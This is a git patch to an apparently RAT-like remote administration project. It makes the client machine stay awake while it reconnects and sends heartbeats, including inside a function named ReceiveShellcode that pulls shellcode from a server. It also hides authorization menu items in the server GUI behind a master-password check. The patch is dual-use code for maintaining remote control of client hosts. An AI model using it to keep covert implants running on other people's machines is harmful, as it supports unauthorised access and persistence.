From b9228cf1e18ff855c2b68c55b4e36a2a25066f2a Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Sat, 26 Jul 2025 22:49:57 +0800 Subject: [PATCH] Improve: Avoid client computer going to sleep --- client/ClientDll.cpp | 2 ++ client/main.c | 1 + client/test.cpp | 1 + server/2015Remote/2015RemoteDlg.cpp | 12 +++++++++++- 4 files changed, 15 insertions(+), 1 deletion(-) diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index fea5e6b..9bba7dd 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -517,6 +517,7 @@ DWORD WINAPI StartClient(LPVOID lParam) if (!ClientObject->ConnectServer(settings.ServerIP(), settings.ServerPort())) { for (int k = 500; app.m_bIsRunning(&app) && --k; Sleep(10)); + SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED); continue; } SAFE_DELETE(Manager); @@ -529,6 +530,7 @@ DWORD WINAPI StartClient(LPVOID lParam) do { Manager->SendHeartbeat(); + SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED); } while (ClientObject->IsRunning() && ClientObject->IsConnected() && app.m_bIsRunning(&app)); while (GetTickCount64() - dwTickCount < 5000 && app.m_bIsRunning(&app)) Sleep(200); diff --git a/client/main.c b/client/main.c index 114f471..0ab6be0 100644 --- a/client/main.c +++ b/client/main.c @@ -131,6 +131,7 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut) { serverAddr.sin_addr.s_addr = inet_addr(serverIP); if (connect(clientSocket, (SOCKADDR*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) { closesocket(clientSocket); + SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED); continue; } diff --git a/client/test.cpp b/client/test.cpp index 363c756..7c5807d 100644 --- a/client/test.cpp +++ b/client/test.cpp @@ -175,6 +175,7 @@ public: serverAddr.sin_addr.s_addr = inet_addr(ip.c_str()); if (connect(clientSocket, (SOCKADDR*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) { closesocket(clientSocket); + SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED); continue; } #ifdef _DEBUG diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 0528ad1..e74dc4f 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -464,9 +464,13 @@ VOID CMy2015RemoteDlg::CreateSolidMenu() m_MainMenu.LoadMenu(IDR_MENU_MAIN); CMenu* SubMenu = m_MainMenu.GetSubMenu(1); std::string masterHash(GetMasterHash()); - if (GetPwdHash() != masterHash) { + if (GetPwdHash() != masterHash || m_superPass.empty()) { SubMenu->DeleteMenu(ID_TOOL_GEN_MASTER, MF_BYCOMMAND); } + SubMenu = m_MainMenu.GetSubMenu(2); + if (!THIS_CFG.GetStr("settings", "Password").empty()) { + SubMenu->DeleteMenu(ID_TOOL_REQUEST_AUTH, MF_BYCOMMAND); + } ::SetMenu(this->GetSafeHwnd(), m_MainMenu.GetSafeHmenu()); //为窗口设置菜单 ::DrawMenuBar(this->GetSafeHwnd()); //显示菜单 @@ -1287,6 +1291,12 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult) Menu.SetMenuItemBitmaps(ID_ONLINE_ASSIGN_TO, MF_BYCOMMAND, &m_bmOnline[12], &m_bmOnline[12]); Menu.SetMenuItemBitmaps(ID_ONLINE_ADD_WATCH, MF_BYCOMMAND, &m_bmOnline[13], &m_bmOnline[13]); + std::string masterHash(GetMasterHash()); + if (GetPwdHash() != masterHash || m_superPass.empty()) { + Menu.DeleteMenu(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND); + Menu.DeleteMenu(ID_ONLINE_UNAUTHORIZE, MF_BYCOMMAND); + } + // 创建一个新的子菜单 CMenu newMenu; if (!newMenu.CreatePopupMenu()) {